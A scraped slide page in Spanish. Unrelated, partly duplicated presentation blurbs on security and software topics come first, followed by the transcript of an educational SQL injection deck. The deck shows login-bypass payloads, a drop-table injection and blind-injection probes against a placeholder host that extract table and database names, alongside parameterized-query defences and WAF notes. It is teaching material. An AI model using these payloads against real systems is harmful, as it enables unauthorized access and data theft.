El documento trata sobre seguridad de la información y SQL injection. Explica conceptos básicos de SQL e introduce el tema de OWASP y qué es una SQL injection. Luego cubre tipos de SQL injection, prevención de ataques, herramientas WAF y una demostración.
¿Cómo realizar entrevistas eficaces para obtener requisitos de software?Software Guru
La entrevista es quizás la técnica más común y con mejor relación costo-beneficio en la etapa de levantamiento (o elicitación) de requisitos (o requerimientos). Sin embargo, muchos desarrolladores descuidan la preparación adecuada para las entrevistas, y las convierten en reuniones ineficaces que generan pérdida de tiempo. El propósito de esta presentación es dar a conocer un conjunto de directrices que orienten la planificación y ejecución de una entrevista. Estos son algunos de los temas a tratar:
- ¿Qué es la entrevista para la obtención de requisitos?
- Directrices fundamentales para una entrevista eficaz
- Habilidades que se requieren para el entrevistador
- Errores comunes en las entrevistas
- Factores que inhiben el entrevistado
- Preparación de la entrevista
- Preparación del guión
- Formatos de entrevista
- Tipos de preguntas
- Documentación de la entrevista
Esta presentación habla sobre las los tipos de virus que pueden afectar nuestra información del ordenador, tambien tratatara sobre el sifnificado de cada uno de estos diferentes tipos de virus.
Detalla los conceptos de elicitación de requisito y detalla las principales técnicas de elicitación como la entrevista, encuestas, brainstorm, jad, focus group, análisis de documentos, análisis de sistemas existentes, observación, prototipo
¿Cómo realizar entrevistas eficaces para obtener requisitos de software?Software Guru
La entrevista es quizás la técnica más común y con mejor relación costo-beneficio en la etapa de levantamiento (o elicitación) de requisitos (o requerimientos). Sin embargo, muchos desarrolladores descuidan la preparación adecuada para las entrevistas, y las convierten en reuniones ineficaces que generan pérdida de tiempo. El propósito de esta presentación es dar a conocer un conjunto de directrices que orienten la planificación y ejecución de una entrevista. Estos son algunos de los temas a tratar:
- ¿Qué es la entrevista para la obtención de requisitos?
- Directrices fundamentales para una entrevista eficaz
- Habilidades que se requieren para el entrevistador
- Errores comunes en las entrevistas
- Factores que inhiben el entrevistado
- Preparación de la entrevista
- Preparación del guión
- Formatos de entrevista
- Tipos de preguntas
- Documentación de la entrevista
Esta presentación habla sobre las los tipos de virus que pueden afectar nuestra información del ordenador, tambien tratatara sobre el sifnificado de cada uno de estos diferentes tipos de virus.
Detalla los conceptos de elicitación de requisito y detalla las principales técnicas de elicitación como la entrevista, encuestas, brainstorm, jad, focus group, análisis de documentos, análisis de sistemas existentes, observación, prototipo
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxFrancisco Medina
Universidad Nacional Autónoma de México
Facultad de Contaduría y Administración
Diplomado Diseño, Construcción y Administración de Redes de Datos
Módulo 6. Seguridad de Bases de Datos
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxFrancisco Medina
Universidad Nacional Autónoma de México
Facultad de Contaduría y Administración
Diplomado Diseño, Construcción y Administración de Redes de Datos
Módulo 6. Seguridad de Bases de Datos
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008Christian Martorella
Presentación hecha en el VI Foro de Seguridad Rediris 2008. Esta presentación cubre las principales y mas importantes vulnerabilidades en Aplicaciones Web.
En el mundo actual, las APIs juegan un papel importante en la creación de aplicaciones y servicios robustos y flexibles. Sin embargo, con la expansión de las APIs, también surge la necesidad de abordar los desafíos de seguridad asociados.
En esta charla, exploraremos en detalle el OWASP Top 10 de Seguridad en APIs, una lista de las principales vulnerabilidades que los desarrolladores y equipos de seguridad deben tener en cuenta al diseñar, desarrollar y asegurar sus APIs. Por último, comentaremos las mejores prácticas para mitigar los riesgos y garantizar la seguridad de tus APIs. Entre los puntos a tratar podemos destacar:
1.Introducir el concepto de seguridad en las APIs
2.OWASP Top 10 y su importancia para la seguridad en APIs
3.Actualización del OWASP Top 10 security en 2023
4.Herramientas para evaluar y mejorar la seguridad de tus APIs.
5.Estrategias y mejores prácticas para garantizar la seguridad de tus APIs.
Ataques de inyección SQL: qué son y cómo protegerseSupra Networks
La mayoría de las aplicaciones web desarrolladas hoy en día hacen uso de una base de datos para ofrecer páginas dinámicas y almacenar información tanto de los usuarios como de la propia herramienta, datos a los que se accede por medio del lenguaje SQL, un lenguaje para interaccionar con bases de datos relacionales.
La seguridad en aplicaciones web es un aspecto fundamental para garantizar la protección de los datos y la confidencialidad de los usuarios. Si nuestro objetivo es aprender como Django gestiona la seguridad, PyGoat es una aplicación desarrollada con Django vulnerable de forma intencionada que puede ser utilizada para aprender a asegurar nuestras aplicaciones Django.
En esta charla, analizamos como Django gestiona la seguridad utilizando la aplicación vulnerable Pygoat, identificando los problemas de seguridad subyacentes. Aprenderemos sobre vulnerabilidades de seguridad comunes como las que aparecen en el OWASP Top 10 en aplicaciones Django y cómo solucionarlas para que podamos mantener nuestras aplicaciones a salvo de atacantes.
Entre los puntos a tratar podemos destacar:
Introducción a la seguridad en aplicaciones Django
Pygoat como ejemplo de aplicación vulnerable
Vulnerabilidades OWASP top 10 y mitigación
El ransomware en resumen es un malware que consiste en “secuestrar” los archivos de la PC víctima a cambio de dinero, diversión o con el fin de hacerle un daño a la persona o compañía cifrando a través de un programa o código los archivos de la computadora impidiendo su lectura, escritura y/o ejecución. Estos generalmente son encriptados y la única forma de poder recuperar dichos archivos es desbloqueando los archivos mediante contraseña, o desencriptándolo mediante algún algoritmo o aplicación específica.
En esta guía estaremos demostrando de manera breve cómo éste se aplica en la práctica.
Para ello, estaremos utilizando nuestra máquina real, en nuestro caso Windows 10 y una máquina virtual de Windows 7.
En este proyecto se aborda el tema del ransomware. Se utilizó los scripts del repositorio en github: https://github.com/SubtleScope/bash-ransomware.
El desarrollo de este proyecto consta de utilizar dos máquinas: una que es el servidor donde se montarán los scripts del repositorio anteriormente mencionado y otra máquina que nos servirá como cliente o víctima para este caso. En la máquina víctima se ejecutará un script que cifrará todos los archivos del mismo.
En este trabajo estaremos viendo HoneyPots con la implementación de HoneyDrive 3 que es una suite de Honeypots. De esta veremos su instalación y configuración de arranque virtual. Ademas pondremosen marcha y monitoreo dos honeypots conocidos en el mundo OpenSource los cuales son Kippo y Dionaea.
Todo equipo que tenga acceso por algún medio a la red global, está expuesto a ser vulnerado, independientemente del tipo de hardware o el sistema operativo.
Entendiendo esto entonces cada vez que se hagan experimentos o implementaciones con Software OpenSource, estos deben ser sometidos a diferentes pruebas de resistencia contra las vulnerabilidades. Esto es el análisis de riesgos y el plan de mitigación de riesgos, que todo servidor *NIX debe
someterse al momento de hacer implementaciones de servicio a través de estos sistemas operativos de software libre.
A continuación en el proyecto que se desarrolla en el trabajo presentado veremos la implementación de un servidor web utilizando solo herramientas OpenSource.
Muchas de las características que queremos resaltar de seguridad las veremos en los capítulos siguientes de los cuales podemos decir brevemente de que tratan.
Son servidores de información falsos, que son posicionados estratégicamente en una red de prueba y alimentados de información disfrazada como archivos de naturaleza confidencial.
Son herramientas de seguridad informática diseñadas para atraer atacantes y analizar el comportamientos de los ataques que realizan estos atacantes, para utilizar esto como referencia para diferentes propósitos, que pueden ser:
Estadísticas
Descubrimiento de nuevas vulnerabilidades y herramientas.
Análisis de ataques, para su posterior estudio.
Evitar que los principales sistemas de información sean atacados.
Gracias a la ejecución de este proyecto, hemos logrado aprender a configurar e instalar diferentes software que nos ayudarán en nuestro entorno laboral, para así, poder
implementar lo aprendido en el área IT, con la finalidad de proteger la información sensitiva que maneje la empresa para la cual estemos prestando nuestros servicios. Además, podemos mencionar, que no solamente adquirimos conocimientos para ejecutarlos en nuestros trabajos, sino para crear conciencia de que debemos tener mejor protegidos nuestras máquinas personales, como un simple ejemplo que podemos mencionar es , contar siempre con una sesión de administrador para evitar software maliciosos que perjudiquen nuestros equipos, además de tener instalado en cada máquina un antivirus, antimalware y
antiexploit para la protección de las mismas.
Por otro lado, otros temas aprendidos durante el transcurso de la materia, podemos mencionar la configuración del Firewall PfSense y el IPS SmoothSec, donde tuvimos que
listar reglas para evitar que el usuario final al momento de querer navegar en Internet, no entrará a páginas que estén prohibidas en el lugar donde se encuentre. En cuanto a el
firewall, las reglas son implementadas por medio de categorías que nos aparecerán en la consola del software y el smoothsec se configura mediante un directorio donde debemos
descomentar las que nosotros queremos que el software aplique en su ejecución. Cabe resaltar, que estos dos software se conectan con varias interfaces de red para poder ejecutar
de manera correcta cada uno de ellos.
Otro tema que pudimos aprender, es la implementación de un antispam para evitar que las bandejas de entrada de las cuentas de correo electrónico se llenen de información que no es útil o de documentos malintencionados.
Además, podemos complementar la información brindada en este documento, mencionando que cada uno de los software que instalamos DEBIAN tener más de una máquina corriendo
para que su ejecución fuera la correcta, siendo así, tener que usar diferentes máquinas virtuales para cada uno de los puntos ejecutados en nuestro proyecto. Por esto, tuvimos que
generar un diagrama, donde se crearon diferentes zonas para poder llegar a la conclusión de cual era la mejor manera de llevar a cabo toda la implementación del proyecto.
Hoy en día, organizaciones con distintos fines operativos cuentan como mínimo con un sistema de redes interno, así sea solo una computadora con acceso a internet. Estos equipos pueden contar con información valiosa o con un servicio
valioso para la organización. Estos activos o equipos valiosos pueden ser víctimas de distintas amenazas y el impacto puede ser catastrófico de acuerdo al nivel de criticidad que representa el activo.
Para evitar que pase este tipo de eventos existen sistemas
correlacionador de eventos SIEM que busca notificar a los administradores de la red entre otros monitores, los distintos eventos que están ocurriendo en la red.
Los eventos que pueden ocurrir varían entre el tipo de acción que se deba aplicar al activo.
Por ejemplo un virus informático puede estar recorriendo la red,
esperando que un equipo con información valiosa se conecte a red y así pueda hacer diferentes cosas que tiene como objetivo tal virus. Otros ejemplos son las notificaciones por actualización, puertos abiertos, contraseñas débiles, etc.
En el siguiente proyecto queremos mostrar cómo podemos implementar una de estas herramientas de correlacionación con el fin de que sirva como buena práctica al momento de querer monitorear los eventos que ocurren en la red.
Es un nuevo tipo de recopilación de pruebas digital basado en la extracción de pruebas desde el interior de la memoria de un teléfono móvil cuando existe la capacidad de acceder a los datos.
Los mecanismos que dejan rastro de la actividad de los usuarios, de los programas que se utilizan, los accesos, conexiones y aplicaciones, si han navegado, descargado o ejecutado algún programa, son los comúnmente denominados como artefactos
Es un framework o conjunto de subsistemas de software para el desarrollo de aplicaciones, y páginas web dinámicas, que están basadas, cada una de estas en el popular lenguaje de programación conocido como JavaScript. Gracias a esta característica el conjunto se integra exitosamente en una plataforma auto-suficiente.
Cada subsistema del Mean stack es de código abierto y de uso gratuito.
Herramienta de penetración y evaluación de seguridad orientado en Ubuntu – Linux proporcionando un conjunto de herramientas de análisis de los sistemas de información de la red. Este Sistema operative, incluye un conjunto completo de herramientas necesarias para el hacking ético y pruebas de seguridad.
Sistema que permite registrar los cambios en un archivo o conjunto de archivos con el tiempo para poder verificar versiones especificas mas adelante. Para diseñadores web o programadores en general es una de las herramientas mas considerables a utilizar.
Protección de Sitios Web con WAF LógicoJosé Moreno
Firewall de Aplicación Web: al igual que un
firewall convencional, se encarga de proteger
tu red. Pero un WAF irá más allá y te ayudará
a proteger tus aplicaciones web de ataques
que, normalmente, son un dolor de cabeza
para los administradores de las aplicaciones
o para los dueños de las mismas.
Laboratorio 7 mod security - evasive - qosJosé Moreno
Detallamos los pasos para el desarrollo del laboratorio, primero
iniciaremos con la instalación y configuración del Mod Security (nuestro WAF), luego continuamos con el Mod Evasive (nuestro IPS) y por último el Mod Qos (Nuestra protección contra ataques de denegación de servicios o Slow Loris).
El siguiente laboratorio tiene como objetivo aprender como generar los certificados digitales propios con la herramienta opnessl, en un servidor en debian implementando el CMS Joomla
Hardening o endurecimiento al sistema operativo, son las configuraciones que por seguridad de nuestro
sistema operativo, es necesario configurar algunos parámetros que por defecto trae nuestro servidor y las
aplicaciones que vamos a instalar, para así reducir la cantidad de vulnerabilidades en el mismo, esto lo
podemos lograr eliminando aplicaciones, servicios, usuarios innecesarios en el sistema así como cerrando
puertos que tampoco estén en uso, además de otros métodos que pueden ayudarnos a proteger nuestros
servidores.
El principal motivo para endurecer la seguridad de nuestro servidor FTP, es ganar tiempo frente a un
ataque, pues entre más configuraciones y otros métodos de seguridad implementemos, nunca lograremos
evitar por completo, que un atacante logre su objetivo si no le agregamos a nuestra seguridad, un
monitoreo de todos los equipos, por medio de alertas.
Cabe aclarar que el hardening de un equipo aunque es un elemento importante, no es el único factor de
protección que se debe implementar para proteger los servidores y equipos dentro de nuestra red, es
importante implementar protección externa a nuestros equipos, por medio de Firewall, IPS, IDS,
HoneyPots. Dentro de este trabajo solo nos limitaremos a la protección de nuestro servidor FTP, por medio
de configuraciones al sistema operativo, y apoyándonos en aplicaciones externas de sistema operativo,
para limitar el acceso que cada usuario pueda tener dentro del directorio de nuestro servidor.
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informáticavazquezgarciajesusma
En este proyecto de investigación nos adentraremos en el fascinante mundo de la intersección entre el arte y los medios de comunicación en el campo de la informática.
La rápida evolución de la tecnología ha llevado a una fusión cada vez más estrecha entre el arte y los medios digitales, generando nuevas formas de expresión y comunicación.
Continuando con el desarrollo de nuestro proyecto haremos uso del método inductivo porque organizamos nuestra investigación a la particular a lo general. El diseño metodológico del trabajo es no experimental y transversal ya que no existe manipulación deliberada de las variables ni de la situación, si no que se observa los fundamental y como se dan en su contestó natural para después analizarlos.
El diseño es transversal porque los datos se recolectan en un solo momento y su propósito es describir variables y analizar su interrelación, solo se desea saber la incidencia y el valor de uno o más variables, el diseño será descriptivo porque se requiere establecer relación entre dos o más de estás.
Mediante una encuesta recopilamos la información de este proyecto los alumnos tengan conocimiento de la evolución del arte y los medios de comunicación en la información y su importancia para la institución.
Inteligencia Artificial y Ciberseguridad.pdfEmilio Casbas
Recopilación de los puntos más interesantes de diversas presentaciones, desde los visionarios conceptos de Alan Turing, pasando por la paradoja de Hans Moravec y la descripcion de Singularidad de Max Tegmark, hasta los innovadores avances de ChatGPT, y de cómo la IA está transformando la seguridad digital y protegiendo nuestras vidas.
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Telefónica
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0xWord escrito por Ibón Reinoso ( https://mypublicinbox.com/IBhone ) con Prólogo de Chema Alonso ( https://mypublicinbox.com/ChemaAlonso ). Puedes comprarlo aquí: https://0xword.com/es/libros/233-big-data-tecnologias-para-arquitecturas-data-centric.html
Es un diagrama para La asistencia técnica o apoyo técnico es brindada por las compañías para que sus clientes puedan hacer uso de sus productos o servicios de la manera en que fueron puestos a la venta.
1. Seguridad de la información
SQL
injection
Preparado por:
Carlos Rodríguez
José Moreno
Jesús Montenegro
2. SQL
Agenda
1-Conceptos Básicos de SQL
2-OWASP
3-¿Qués es SQLi?
4-Bypass Login
5-Tipos de Sql Injection
6-Prevención de Ataques
7-WAF
8-Demostración
3. SQL
Conceptos
SQL
Es la sigla para Structure Query Languaje (Lenguaje estructurado de consultas) es
un lenguaje declarativo de acceso a bases de datos relacionales que permite
especificar diversos tipos de operaciones en ellas. Una de sus características es el
manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin
de recuperar, de forma sencilla, información de bases de datos, así como hacer
cambios en ellas. Apareció en 1974 desarrollado en IBM y diseñado por Donald
Chamberlin.
Lenguaje de Programación
En aplicaciones web que usan base de datos para manejar ( X ) operaciones, estos
son aplicaciones que permiten diseñar y estructurar el flujo de acontecimientos
necesarios para que un usuario final pueda interactuar con la información de la base
de datos del servidor.
A nivel web algunos lenguajes de programación destacados son:
Lenguajes de programación
PHP Perl Phyton Java
Ruby JavaScript C# Visual Basic
Arquitecturas interactivas
HTML5 CSS
XML Ajax
4. SQL
Conceptos
Motor de base de datos
Conocidos tambien como sistema de gestión de base de datos (SGBD) es un
conjuntos de programas que permite la gestión, almacenamiento, modificación y
extracción de información de una base de datos. Permite la administración de
usuarios, de base de datos, permisos de las funciones que tiene cada usuario y sobre
los componentes de las bases de datos, etc.
Algunos sistemas de gestión de base de datos conocidos son:
Microsoft Sql Server SYBASE ORACLE MySQL
Xploit
Del inglés “Explotar/Aprovechar”, fragmento de datos/software o secuencia de
comandos para aprovechar una vulnerabilidad de seguridad de un sistema de
información para conseguir un comportamiento no deseado del mismo.
Formas script virus gusanos
Clasificación de Xploits
Remoto Se usa en una red para tener contacto con el sistema víctima.
Local Si antes se necesita tener acceso a un sistema vulnerable para
conseguir privilegios.
Client Side Necesitan intervención de usuario de lado del cliente.
5. SQL
OWASP
Es la sigla para Open Web Application Security Project (Proyecto abierto de seguridad
de aplicaciones web) se dedica a determinar y combatirlas causas que hacen que el
software sea inseguro y que empezó operaciones en el 2001.
En 2004 se crea la fundación OWASP integrada por empresas e instituciones
educativas de todo el mundo.
Comunidad de seguridad informática que provee: artículos, metodologías,
documentación, herramientas y tecnologías de forma gratuita.
Proyectos Destacados:
Proyectos de documentación
Guia OWASP Guía de pruebas
OWASP top 10 ISO17799
Métricas AppSec FAQ
Legal
Proyectos de desarrollo
Web Scarab
Filtros de validación
WebGoat
DotNet
6. SQL
SQL Injection
¿Que es?
Método de infiltración de código intruso que se vale de una vulnerabilidad informática
presente en una aplicación a nivel de validación de entradas para realizar
operaciones sobre una base de datos.
El origen de la vulnerabilidad en el incorrecto chequeo / filtrado / validación de
variables utilizadas en un programa que contiene o genera código SQL.
¿Que se puede lograr con un ataque por inyección SQL?
● Leer información sencible desde la base de datos del servidor de la aplicación.
● Modificar la información con instrucciones (Insert/ Update/ Delete).
● Ejecutar instrucciones de administrador sobre la base de datos (detener el motor
de base datos).
● Recuperar el contenido de un determinado archivo presente sobre el sistema de
archivos del DBMS.
● En algunos casos emitir comandos al sistema operativo.
! Esta considerada como uno de los top 10 ataques según la OWASP.
Tipos Inyección SQL Inyección SQL a ciegas
7. SQL
SQL Injection
Factores afectados producto de una inyección SQL
Confidencialidad: las bases de datos generalmente guardan información sensible
por lo que la pérdida de confiabilidad se vuelve frecuente.
Autenticación: las consultas SQL pobres para validar nombre de usuarios y
contraseñas hace posible conectarse al sistema sin requerimiento de la contraseña.
Autorización: si las autorizaciones sobre una plataforma de software estan en una
base de datos es posible cambiar las reglas por medio de manipulacion de la
información por inyección SQL.
Integridad: asi como es posible leer información sensible, tambien es posible
cambiar o borrar por medio de una ataque.
Factores de riesgo
● El lenguaje SQL
● La plataforma de software que puede ser cualquiera que requiera una interacción
con base de datos.
8. SQL
Implementaciones técnicas – Login bypass
● Caracteres de ESCAPE filtrados incorrectamente
Este tipo de ataque ocurre cuando un campo de entrada de datos no tiene filtros
para caracteres de escape, entonces este pasa a una declaración SQL, resultando
en una potencial manipulación de la base de datos por el usuario final.
Líneas de prueba: pagina web que solicita usuario y contraseña para ingresar.
Credenciales válidas
usuario admin ron
contraseña admin ron
CASO 1: el usuario es admin y la contraseña admin
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='tom'
Resultado: si ambos elementos son encontrados el usuario es autenticado.
CASO 2: el usuario es admin y la contraseña es una comilla simple ( ' )
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='''
Resultado: la página envía mensaje de error si ningun mensaje de error es
especificado.
9. SQL
Implementaciones técnicas – login bypass
CASO 3: el usuario es admin y la contraseña ' or '1'='1
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='' or '1'='1'
Resultado: el usuario si es admin y la contraseña no es ( '' ) pero el (OR '1'='1') es
tomado como válido. De esta forma el usuario se autentica.
CASO 4: el usuario es admin y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='' or 1='1'
Resultado: como el caso anterior solo que en este caso vemos que valida (1 = '1') que
sql toma como válido también.
CASO 5: el usuario es ' or '1'='1 y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' and password='' or
1='1'
Resultado: como el CASO 3 pero tanto en el usuario como la contraseña no se validan
en SQL.
CASO 6: el usuario es ' or 1 = 1 -- y la contraseña es blah
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' -- and password =
'blah'.
Resultado: el usuario no se valida y la instrucción que valida la contraseña se
comenta.
10. SQL
Implementaciones técnicas – login bypass
● Manejo incorrecto de tipos de datos
Este tipo de ataque ocurre cuando campos de texto presentado al usuario no esta
fuertemente limitado a tipo de dato que debe ser introducido o no está validado para
comprobar el tipo de entrada de datos.
Ejemplo
Una variable de cadena que guarda la cadena de la consulta SQL que se va a hacer.
statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
Donde a_variable es una cadena que guarda el valor que un usuario escribe en un
campo de texto, en este caso sería de nombre de usuario.
En el campo de texto un atacante podría escribir algo como:
a_variable := '1; drop table users'
Al ejecutarse la cadena de la variable statement SQL interpretara lo siguiente:
SELECT * FROM userinfo WHERE id = 1; DROP TABLE users;
14. SQL
Blind SQL injection
En este tipo de ataques el atacante nunca puede acceder a los resultados que
devuelve la consulta porque la aplicación no los imprime. Sin embargo se puede
apreciar un comportamiento distinto ante consultas que devuelven datos y consultas
que no devuelven datos. A partir de este comportamiento distinto se intenta inyectar
lógica para extraer la información en base a valores True o False.
Ejemplo: probar diferentes formas para obtener un resultado.
www.vuln-web.com/photo.php?id=1/
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, pero se observa un comportamiento diferente a los intentos anteriores.
www.vuln-web.com/photo.php?id=1'--
Ningún error, pero el pequeño cambio aun se manifiesta
www.vuln-web.com/photo.php?id=1' and false%23
La página no cargó como lo hace normalmente y la consulta no retornó nada.
15. SQL
2 Way Blind SQL injection
Son técnicas para obtener información a través de inyección SQL a ciegas.
Uso de la función ASCII y substring:
Hace una busqueda en la que la página web se recarga continuamente cuando
encuentra un caracter de lo que se busca y genera error si no encuentra. Esta
aplcación se usa también en xploits.
Ejemplo:
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=106%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=107%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=108%23
True
16. SQL
2 Way Blind SQL injection
Uso de la base de datos dummy DUAL y la sentencia Like:
Dual es una base datos presente en varios Motores de base de datos y esta creada
para pruebas y la sentencia Like se usa en lugar del operador =.
Ejemplo: Obteniendo el nombre de la base de datos
Paso 1: Obteniendo la cantidad de caracteres del nombre la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'_______')%23
True
Paso 2: Verificar que caracteres estan presente en el nombre.
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'%e%')%23
True, ordenar los caracteres obtenidos, armar el nombre.
Paso 3: Verificar el nombre de la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() =
'dbase_1')%23
True
17. SQL
Blind SQL injection basado en tiempos
Aplicaciones que utilizan funciones SQL propias del motor de base de datos para
generar letargos de cierto tiempo de tal forma que si lo que se quiere es saber cierta
información como una contraseña, el ataque se puede hacer generando el letargo
cada vez que se coincida con uno de los caracteres de esa contraseña.
18. SQL
Blind SQL injection Consultas pesadas
En aplicaciones web que tienen incluso controles de seguridad contra inyección SQL
y sobre las funciones que generen letargos de tiempos ante respuestas positivas, es
posible que estas sean manipuladas mediante las técnicas de consultas pesadas que
se encargan de forzar el motor de la base de datos que generen retardos de tiempo
ante respuestas positivas.
Por ejemplo el motor de base de datos de Microsoft Acess no tiene de por si
funciones de letargo pero a través de instrucciones como el where, or, if exists, etc.
Su información puede ser obtenida o manipulada).
19. SQL
Medidas de prevención contra ataques
● Escapar caracteres especiales utilizados en la consultas SQL
● Delimitar los valores de la consulta
● Verificar siempre los datos que introduce el usuario
● Asignar minimos privilegios a usuarios que se va a conectar a la base de
datos
● Programar bien
20. SQL
Programación: Consultas parametrizadas
Instrucción(es) que pasan a la consulta SQL un conjunto prederminado de
caracteres y evita la directa concatenación de las variables a la consulta.
Connection conexion = null;
PreparedStatement sentencia = null;
ResultSet rs = null;
boolean valido = false;
try {
Class.forName("com.mysql.jdbc.Driver");
conexion =
DriverManager.getConnection("jdbc:mysql://localhost:3306/arquitecturajava","root
","blog");
String consulta = "select nombre from Usuarios where nombre =? and clave =?";
sentencia = conexion.prepareStatement(consulta);
sentencia.setString(1, nombre);
sentencia.setString(2, clave);
rs = sentencia.executeQuery();
if (rs.next())
valido = true;
En la consulta se utiliza el caracter ( ? ) para definir la posición en que estará cada
uno de los caracteres de entrada.
Así, la consulta es primero precompilada para mas adelante recibir los valores de los
parámetros pero sin posibilidad de que la consulta (tablas ,índices y joins) sea
22. SQL
Herramientas de análisis
Herramienta de pruebas de código abierto que automatiza el proceso de detectar y
explorar los errores de inyección SQL.
SQLiHelper 2.7 SQL Injection
SQLMap
Pangolin
Su utilidad es facilitar la extracción de información procedente de bases de datos
utilizando para ello técnicas de inyección SQL. Una vez indicada la url que queremos
analizar, la aplicación realizará peticiones inyectando código SQL con el fin de
comprobar si es realmente vulnerable.
Herramienta de pago que ofrece más posibilidades que la del punto anterior y que
está destinada a descubrir vulnerabilidades tanto del tipo inyección SQL como
inyección SQL ciego.
Son herramientas para el análisis de código que ponen a prueba nuestras
aplicaciones en busca de vulnerabilidades por inyección SQL.
23. SQL
WAF (Web Application Firewall)
Un firewall de aplicaciones Web (WAF) es un aparato, plugin de servidor, o el filtro
que se aplica un conjunto de reglas a una conversación HTTP. En general, estas
reglas cubren ataques comunes tales como cross-site scripting (XSS) y SQL
injection. Mediante la personalización de las reglas para su aplicación, muchos
ataques pueden ser identificados y bloqueados. El esfuerzo para llevar a cabo
esta personalización puede ser significativo y debe ser mantenido como se
modifica la aplicación.
24. SQL
Bibliografía
Herramientas de analisis de codigo SQL injection
http://pressroom.hostalia.com/white-papers/ataques-inyeccion-sql
Declaraciones parametrizadas
http://www.arquitecturajava.com/sql-injection-y-consultas-preparadas-24/
Consultas parametrizadas PHP
http://uno-de-piera.com/consultas-parametrizadas-con-php-pdo/
Tecnicas avanzadas con Blind SQL injection
http://www.elladodelmal.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
Inyeccion SQL de owasp
https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL
Sistema de gestión de base de datos
https://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_bases_de_datos
Xploits
https://es.wikipedia.org/wiki/Exploit
Implementaciones técnicas
http://sechow.com/bricks/docs/login-1.html
Capture the Flag
http://sourceforge.net/projects/lampsecurity/files/
http://highsec.es/que-es-un-ctf/
Login Bypass
http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html
Sqlmap
https://github.com/sqlmapproject/sqlmap